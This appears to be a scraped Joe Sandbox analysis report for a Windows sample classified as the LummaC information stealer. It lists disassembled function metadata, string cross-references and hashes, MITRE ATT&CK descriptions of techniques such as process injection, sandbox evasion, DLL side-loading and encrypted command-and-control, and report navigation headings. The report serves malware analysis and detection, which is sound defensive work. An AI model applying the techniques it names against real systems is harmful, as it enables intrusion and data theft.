P, xrefs: 00427AAC
?, xrefs: 004279B4
q, xrefs: 00427A4A
c, xrefs: 00427A54
5, xrefs: 004278DC
Z, xrefs: 00427A8C
q, xrefs: 00427ACC
,, xrefs: 004279D2
@, xrefs: 004279A0
W, xrefs: 00427A18
4, xrefs: 004278EC
m, xrefs: 00427A9C
?, xrefs: 004279AA
k, xrefs: 00427ABC
y, xrefs: 00427A7C
Q, xrefs: 004279FA
q, xrefs: 00427A68
,, xrefs: 004279E6
U, xrefs: 00427ADC
z, xrefs: 00427A2C
0, xrefs: 00427BC6
C, xrefs: 00427A22
D, xrefs: 00427A72
N, xrefs: 00427A5E
U, xrefs: 00427AEC
B, xrefs: 004279BE
;, xrefs: 00427996
Z, xrefs: 004279F0
!, xrefs: 00427B1C
U, xrefs: 00427A04

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: !$,$,$0$4$5$;$?$?$@$B$C$D$N$P$Q$T$U$U$U$W$Z$Z$c$k$m$q$q$q$y$z
API String ID: 2525500382-1942065873
Opcode ID: c49000a04ca56ad442405149460bf08d053e1707a5348907bf01643a88caa4cf
Instruction ID: 6bb2ca2774bd0411940d1e3bcc535379dbbb046d1cdd20e611ff616d2b2cfe96
Opcode Fuzzy Hash: c49000a04ca56ad442405149460bf08d053e1707a5348907bf01643a88caa4cf
Instruction Fuzzy Hash: 1E91906010DBC18AD332CA7C845879FBFD06BA2324F584A9DE5E94B3E2C7B58545CB63

Function 0042875B Relevance: 52.7, APIs: 1, Strings: 29, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0042881E

Strings

k, xrefs: 00428964
', xrefs: 00428864
~, xrefs: 004289B4
w, xrefs: 004289F4
p, xrefs: 004287B4
5, xrefs: 00428914
9, xrefs: 004287A5
s, xrefs: 00428994
s, xrefs: 00428984
h, xrefs: 004289D4
!, xrefs: 004288E4
=, xrefs: 004288F4
?, xrefs: 004287AF
:, xrefs: 004288D4
=, xrefs: 004287B9
g, xrefs: 004289E4
$, xrefs: 004288C4
", xrefs: 004287BE
}, xrefs: 004289C4
', xrefs: 00428874
H, xrefs: 00428924
v, xrefs: 00428974
L, xrefs: 00428934
2, xrefs: 00428884
W, xrefs: 00428944
0, xrefs: 00428AC1
#, xrefs: 004287C3
b, xrefs: 00428A04
&, xrefs: 00428954

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: !$"$#$$$&$'$'$0$2$5$9$:$=$=$?$H$L$W$b$g$h$k$p$s$s$v$w$}$~
API String ID: 2525500382-1893985688
Opcode ID: 14c122fc901c34a21d73ffa74760fd572b8283b99aa1b43a9cd4c2a36ee70cbd
Instruction ID: 3373eeeabd91fb8904c521205920389122d08edecb3bb9cac48b92f656e59ebb
Opcode Fuzzy Hash: 14c122fc901c34a21d73ffa74760fd572b8283b99aa1b43a9cd4c2a36ee70cbd
Instruction Fuzzy Hash: DBA1D42050D7C1CED332CB389848B9FBED16BA2228F584B9EE0E94B2D2D7754505CB67

Function 004272E8 Relevance: 29.8, APIs: 2, Strings: 15, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004272F2
VariantInit.OLEAUT32 ref: 00427305

Strings

=, xrefs: 004273D8
5, xrefs: 00427398
+, xrefs: 00427328
-, xrefs: 00427358
`, xrefs: 004273D0
a, xrefs: 00427320
7, xrefs: 00427388
/, xrefs: 00427348
;, xrefs: 004273A8
b, xrefs: 00427390
9, xrefs: 004273B8
), xrefs: 00427338
1, xrefs: 00427378
?, xrefs: 004273C8
3, xrefs: 00427368

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: )$+$-$/$1$3$5$7$9$;$=$?$`$a$b
API String ID: 2610073882-4233467066
Opcode ID: b69347533f68b0a7281dfb9018078615f3d804aee30abe8e1a4a4582a76f081e
Instruction ID: 809e1a082863b600d147a6414701c789f9edf009b5c8a2eb9852633494e42d64
Opcode Fuzzy Hash: b69347533f68b0a7281dfb9018078615f3d804aee30abe8e1a4a4582a76f081e
Instruction Fuzzy Hash: 7251E66010D7C1CEE332DB289858B9BBFE16BA6318F080E9EE4D847392C7754549CB63

Function 00426E11 Relevance: 26.3, APIs: 2, Strings: 13, Instructions: 84COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00426E1B
VariantInit.OLEAUT32 ref: 00426E2E

Strings

v, xrefs: 00426E99
", xrefs: 00426EB9
/, xrefs: 00426EC9
x, xrefs: 00426E49
Y, xrefs: 00426E79
, xrefs: 00426E89
=, xrefs: 00426EF9
7, xrefs: 00426EE9
W, xrefs: 00426EA9
+, xrefs: 00426E59
], xrefs: 00426E69
7, xrefs: 00426F09
^, xrefs: 00426ED9

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: $"$+$/$7$7$=$W$Y$]$^$v$x
API String ID: 2610073882-1680263821
Opcode ID: 58fac59a84551f4a0fcbac5f9d4d362efbf5d85bc99fe5433d820d4f2f7e8d2b
Instruction ID: 64ed85b497c2894915e72fc45168ad17f1a4635b422f1d27e62d2669671b85ab
Opcode Fuzzy Hash: 58fac59a84551f4a0fcbac5f9d4d362efbf5d85bc99fe5433d820d4f2f7e8d2b
Instruction Fuzzy Hash: 1241C27010C7C28AD331DB28D548B9EBFE0ABA6214F444EAEE1E957392D7754405DB53

Function 00426C29 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 80COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00426C33
VariantInit.OLEAUT32 ref: 00426C46

Strings

%, xrefs: 00426CC9
3, xrefs: 00426C79
1, xrefs: 00426C69
/, xrefs: 00426C99
#, xrefs: 00426CF9
-, xrefs: 00426C89
+, xrefs: 00426CB9
', xrefs: 00426CD9
), xrefs: 00426CA9
!, xrefs: 00426CE9

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: !$#$%$'$)$+$-$/$1$3
API String ID: 2610073882-2331977360
Opcode ID: 31985bf69454a919f8789bf80cda133a29b871def7f52ed1a404ac1cfe5223c8
Instruction ID: 2c86265527fdeefd615762dda1e56b509df51bc51aa6c90951ef11d86be85e82
Opcode Fuzzy Hash: 31985bf69454a919f8789bf80cda133a29b871def7f52ed1a404ac1cfe5223c8
Instruction Fuzzy Hash: E441B27460C3C18ED331DB38945879BBFE0ABA6324F084A9DE4D947392C7758549CB63

Function 00428E3F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 91COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00428E8C

Strings

%, xrefs: 00428F34
:, xrefs: 00428ED4
<, xrefs: 00428EA4
9, xrefs: 00428EC4
3, xrefs: 00428F14
-, xrefs: 00428F54
?, xrefs: 00428EF4

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: %$-$3$9$:$<$?
API String ID: 1927566239-3570679970
Opcode ID: 7cf373ec4bb62771d9b5ae9d3e6522a7a873cd9eb955ebd70dd61cbf3c5d22b5
Instruction ID: 3bbfee0d8fb2e518bc1c226d042dcd68f3a753333bfcf61593f2c93f5fd7435d
Opcode Fuzzy Hash: 7cf373ec4bb62771d9b5ae9d3e6522a7a873cd9eb955ebd70dd61cbf3c5d22b5
Instruction Fuzzy Hash: 3551067050D7C58ED336CB2884597DABFE0ABA6314F080E5DE1E84B392C7B44645CBA7

Function 004285A9 Relevance: 14.0, APIs: 2, Strings: 6, Instructions: 44COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004285B3
VariantInit.OLEAUT32 ref: 004285C6

Strings

0, xrefs: 00428624
!, xrefs: 00428642
;, xrefs: 00428610
!, xrefs: 0042862E
;, xrefs: 004285E8
<, xrefs: 004285DE

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: !$!$0$;$;$<
API String ID: 2610073882-3117644993
Opcode ID: f5d8b091c7beaedc977ad17e0406165a349cd2f1674e168487caca2ef0ef0b08
Instruction ID: 94bfda3bfbb90772080f0e38d4382805a56d3aabf082e36db6c745d864c7441f
Opcode Fuzzy Hash: f5d8b091c7beaedc977ad17e0406165a349cd2f1674e168487caca2ef0ef0b08
Instruction Fuzzy Hash: A221756040C7C18DD3229ABC944864EFFE15BA7324F080E9DE5E44A2E6C6A68546D767

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report l5u4ezxr.u51.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
l5u4ezxr.u51.exe

Function 0042D702 Relevance: 23.3, APIs: 10, Strings: 3, Instructions: 556
memoryCOMMON

Function 004323E3 Relevance: 23.2, APIs: 1, Strings: 12, Instructions: 481
libraryCOMMON

Function 004321F0 Relevance: 15.5, Strings: 12, Instructions: 497
COMMON

Function 004324BC Relevance: 15.4, Strings: 12, Instructions: 445
COMMON

Function 0043238A Relevance: 15.4, Strings: 12, Instructions: 439
COMMON

Function 0040C223 Relevance: 4.3, Strings: 3, Instructions: 575
COMMON

Function 0042D5B9 Relevance: 3.2, APIs: 2, Instructions: 176
commemoryCOMMON

Function 0040AB00 Relevance: 14.6, APIs: 3, Strings: 5, Instructions: 608
libraryCOMMON

Function 00409C50 Relevance: 4.5, APIs: 3, Instructions: 34
COMMON

Function 0042B980 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Function 00430E60 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMON

Function 00430E34 Relevance: 1.5, APIs: 1, Instructions: 15
memoryCOMMON

Function 00432B70 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON